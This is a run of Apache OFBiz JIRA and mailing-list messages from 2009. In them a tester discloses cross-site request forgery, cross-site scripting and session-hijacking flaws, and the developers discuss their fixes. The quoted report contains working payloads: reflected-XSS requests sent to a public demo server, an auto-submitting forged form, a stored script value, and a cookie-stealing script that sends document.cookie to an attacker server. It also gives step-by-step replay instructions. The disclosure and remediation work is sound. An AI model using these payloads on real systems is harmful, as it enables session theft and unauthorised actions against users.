same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)&q
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ] euronymous edited comment on OFBIZ-1959 at 2/23/09 7:48 AM: -- Hi David, Hi Jacques Here I've found another bunch of unprotected resources vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Testing my (unsuccefull) patches, I was thinking to try the attack vectors in a few places to hotwaxmedia ofbiz trunk server... Anyway, here it is the "quite malicious" request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] Catalog [ID] Could not Find Product Catalog with Id [DemoCatalog">alert(6)] [...] Almost the same here: GET /catalog/control/EditProductConfigItem?configItemId=PZ%22%3E%3Cscript%3Ealert(666)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com [...] Let me know Michele Orrù was (Author: euronymous): Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the "quite malicious" request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] Catalog [ID] Could not Find Product Catalog with Id [DemoCatalog">alert(6)] [...] Let me know Michele Orrù > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru > Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more
[jira] Issue Comment Edited: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ] euronymous edited comment on OFBIZ-1959 at 2/23/09 7:40 AM: -- Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the "quite malicious" request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] Catalog [ID] Could not Find Product Catalog with Id [DemoCatalog">alert(6)] [...] Let me know Michele Orrù was (Author: euronymous): Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the "quite malicious" request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] Catalog [ID] Could not Find Product Catalog with Id [DemoCatalog">alert(6)] [...] Let me know Michele Orrù > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru > Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, an
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ] Michele Orru commented on OFBIZ-1959: - Hi David, Hi Jacques Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :( Anyway, here it is the "quite malicious" request: GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1 Host: demo.hotwaxmedia.com User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin Cache-Control: max-age=0 The code rendered in the response, if you need it to better understand the situation: [...] Catalog [ID] Could not Find Product Catalog with Id [DemoCatalog">alert(6)] [...] Let me know Michele Orrù > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > >
Re: Security Issues
Thank you David. I didn't know the existence of this Atlassian product :) ahah I was browsing trough ViewVC, even if it was not so comfortable... Thanks a lot. I will keep you informed. Michele Orrù David E Jones-3 wrote: > > > On Feb 20, 2009, at 8:37 AM, euronymous wrote: >> David E Jones-3 wrote: >>> I'll try to look at that in the next day or two. It is probably a >>> place that doesn't uses the common tools and so gets around these >>> somehow... >> >> David >> >> I'm asking you a favour :) >> >> I'm analyzing all about your ESAPI/AntiSamy impementation. >> Let me understand better: all the files where you put your >> changes/integrations >> are traced in revisions 741857 and 742352? >> >> Let me know if I'm missing some classes that are not listed in these >> two >> commits: >> I'm really interested about knowing exactly where did you put the >> code, to >> better >> understand Ofbiz internal architecture and how did you integrate >> esapi. > > There are more commits than that. The easiest place to see them is > probably FishEye: > > http://fisheye6.atlassian.com/changelog/~author=jonesde/ofbiz/ > > You'll need to look back to 6 Feb, rev 741442, and as far forward as > 10 Feb, rev 742866. Those two commit and most in between them are > related to the canonicalization, HTML filtering/validation, and output > encoding. > > -David > > > -- View this message in context: http://www.nabble.com/Security-Issues-tp21622188p22157570.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675503#action_12675503 ] David E. Jones commented on OFBIZ-1959: --- Thanks for your comments Michele. I took a look at the viewprofile screen and various others using a parameter like this and found various places that needed encoding that didn't have it from my first pass. The problems you mentioned specifically, and hopefully most (or even all!) similar problems with labels and links (in the screen, menu, and tree widgets), hidden form fields, etc are now resolved. I was at least able to go to all of the Party Manager viewprofile tabs without the script being run. Thanks again for testing more Michele, and for others interested, please feel free to do the same! Maybe some day we'll get a chance to do a hackathon where we literally try to hack OFBiz... Oh, and yes, more effort for XSRF and session hijacking is needed. I've been thinking about that off and on and haven't come up with a good way to do a rotating or random token without significant overhead or the possibility of valid links not working for pages loaded in the past (like another tab/window in the same session or something, like the problem we have with the externalLoginKey). > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675505#action_12675505
]
David E. Jones commented on OFBIZ-1959:
---
I forgot to mention, my last changes are in SVN rev 746409.
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
>
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
>Affects Versions: SVN trunk
>Reporter: Michele Orru
>Priority: Critical
> Fix For: SVN trunk
>
>
> +++|||Discovered security
> issues|||+
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++|||Exploitation|||+
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
>
>
>
>
>
> document.xsrf.submit();
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
>
> value="alert(document.cookie)">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> http://x.x.x.x/malicious.js";>
>
> The malicious code will look as the following one:
>
>
> var
> str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>;
>
> if(document.cookie.indexOf("done")<0)\{
> document.cookie=&q
Re: Security Issues
On Feb 20, 2009, at 8:37 AM, euronymous wrote: David E Jones-3 wrote: I'll try to look at that in the next day or two. It is probably a place that doesn't uses the common tools and so gets around these somehow... David I'm asking you a favour :) I'm analyzing all about your ESAPI/AntiSamy impementation. Let me understand better: all the files where you put your changes/integrations are traced in revisions 741857 and 742352? Let me know if I'm missing some classes that are not listed in these two commits: I'm really interested about knowing exactly where did you put the code, to better understand Ofbiz internal architecture and how did you integrate esapi. There are more commits than that. The easiest place to see them is probably FishEye: http://fisheye6.atlassian.com/changelog/~author=jonesde/ofbiz/ You'll need to look back to 6 Feb, rev 741442, and as far forward as 10 Feb, rev 742866. Those two commit and most in between them are related to the canonicalization, HTML filtering/validation, and output encoding. -David
Re: Security Issues
David E Jones-3 wrote: > > > > I'll try to look at that in the next day or two. It is probably a > place that doesn't uses the common tools and so gets around these > somehow... > > David I'm asking you a favour :) I'm analyzing all about your ESAPI/AntiSamy impementation. Let me understand better: all the files where you put your changes/integrations are traced in revisions 741857 and 742352? Let me know if I'm missing some classes that are not listed in these two commits: I'm really interested about knowing exactly where did you put the code, to better understand Ofbiz internal architecture and how did you integrate esapi. Thank you David All the best Michele Orrù -- View this message in context: http://www.nabble.com/Security-Issues-tp21622188p22120449.html Sent from the OFBiz - Dev mailing list archive at Nabble.com.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[
https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675054#action_12675054
]
Jacques Le Roux commented on OFBIZ-1959:
Thanks Michele,
I did not try yet but yes it's very clear now. I will try ASAP!
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and
> mitigation
>
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
>Affects Versions: SVN trunk
>Reporter: Michele Orru
>Priority: Critical
> Fix For: SVN trunk
>
>
> +++|||Discovered security
> issues|||+
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end
> requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and
> so on
> 3.: Session Hijacking
> +++|||Exploitation|||+
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST
> request
> parameters are never "fortified" to prevent XSRF: no random token protection
> can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the
> attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like
> http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose
> description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the
> middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following
> innocuous one:
>
>
> action="https://127.0.0.1:8443/catalog/control/createProduct";>
>
>
>
>
>
> document.xsrf.submit();
> Of course the product-creation mechanism is not finished (we need price,
> content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of
> the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent
> to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in
> the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the
> browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some
> stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a
> needed
> parameter is quite un-useful and so prone to store our malicious code) with
> something
> like:
>
>
> value="alert(document.cookie)">
>
> The malicious code will display every cookie information in a pop-up, that
> only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET
> request from
> our victims, extract the useful parameters and store them in a file or DB, in
> a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his
> maxlength
> is 255 characters: this gives us a great advantage when creating a complex
> injection code,
> if we don't want to inject a link to the malicious script like
> http://x.x.x.x/malicious.js";>
>
> The malicious code will look as the following one:
>
>
> var
> str="<a rel="nofollow" href="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL">http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL</a>;
>
> if(document.cookie.indexOf("done")<0)\{
>
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675037#action_12675037 ] Michele Orru commented on OFBIZ-1959: - Hi Jacques. The steps are easy: 1. log in to the same ofbiz istance with two different browsers, let say Opera and Firefox. 2. now if you put a proxy between the browser and the outgoing call, let say Burp or WebScarab, you can log, block, and modify requests/response pairs: then send a "createPerson" request in Firefox, log the POST raw request comprehensive of header and content. 3. now do the same in Opera, but blocks the outgoing request to createPerson and modify the HTTP entire packet (with your proxy tool of choice) with the previously copied data from Firefox. 4. Submit your data in Opera, and then you can see that the request is succesfull and the person has been added. Clearly the jsessionId has to be the same (you have to change it), and you have to imagine that a XSRF attack is more a social engineering attack that something else...you also have to imagine that the things we're doing here with our proxies, in fact in a real attack everything would be done with JS (grab the cookie, GET an external javascript that contain the payload, and so on). Anyway, if we don't add a random token to each POST/GET requests, XSRF is possible almost everywhere and everytime, it only depends to the knowledge of the attacker that creates a so called good-social-engineered-powered JS vector. Let me know if it is clear for you now Jacques. Anyway, I'm defintly happy that with my explanations, my pen tests and your (David and Andrew included) deep Ofbiz knowledge we're improving Ofbiz security...That is GREAT guys. All the best Michele Orrù > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for ins
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675005#action_12675005 ] Jacques Le Roux commented on OFBIZ-1959: Hi Michele, I'm not sure what to do, could you please explain the steps needed to reproduce this XSRF issue ? > Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and > mitigation > > > Key: OFBIZ-1959 > URL: https://issues.apache.org/jira/browse/OFBIZ-1959 > Project: OFBiz > Issue Type: Bug > Components: ALL COMPONENTS >Affects Versions: SVN trunk >Reporter: Michele Orru >Priority: Critical > Fix For: SVN trunk > > > +++|||Discovered security > issues|||+ > > 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end > requests > 2.: reflected/stored XSS in search, ProductId/Product Internal name and > so on > 3.: Session Hijacking > +++|||Exploitation|||+ > 1.: As can be verified with your favorite proxy tool (we use Burp), POST > request > parameters are never "fortified" to prevent XSRF: no random token protection > can be seen. > For those who don't know what a XSRF is: briefly it is a request that me, the > attacker, force you (the victim) > to executes. > - In GET requests it will be a link like > http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is > a potential victim account and 667 the attacker one. > - In POST requests it will be an auto-submit form or a XMLHttpRequest > (if we would like to be more sophisticated). > I can force a victim to execute such a request in various methods, whose > description is out from the scope of this ISSUE: > malicious mail link, link in chat programs, malicious pages, man in the > middle attacks, malicious Flash/Applets/ActiveX, and so on. > The quick-and dirty code to make the XSRF attack looks as the following > innocuous one: > > > action="https://127.0.0.1:8443/catalog/control/createProduct";> > > > > > > document.xsrf.submit(); > Of course the product-creation mechanism is not finished (we need price, > content and ProductName), > but is just to let you understand. > When this JS code will be present in a malicious page (opened by a new tab of > the same browser - not Chrome ahah), > his content will be automatically executed and the POST request will be sent > to the application: the product with Id=hack02 > will be persisted inside the DB. Of course a valid party must be logged in > the catalog module, in a way > that the global JSESSIONID cookie value will be the same in every tab of the > browser. > Clearly we can do more than this... > 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some > stored, > exploit them is quite easy: we will exploited only stored ones. > We can for instance replace the value of internalName (that even if it is a > needed > parameter is quite un-useful and so prone to store our malicious code) with > something > like: > > > value="alert(document.cookie)"> > > The malicious code will display every cookie information in a pop-up, that > only the victim > will see: obviously we don't want this. > 3.: We can then create a little cookie-grabber servlet that listen for GET > request from > our victims, extract the useful parameters and store them in a file or DB, in > a way > that wen can hijack the session of the admin/manager. > > The internalName value is prone to store our malicious code also because his > maxlength > is 255 characters: this gives us a great advantage when creating a complex > injection code, > if we don't want to inject a link to the malicious script like > 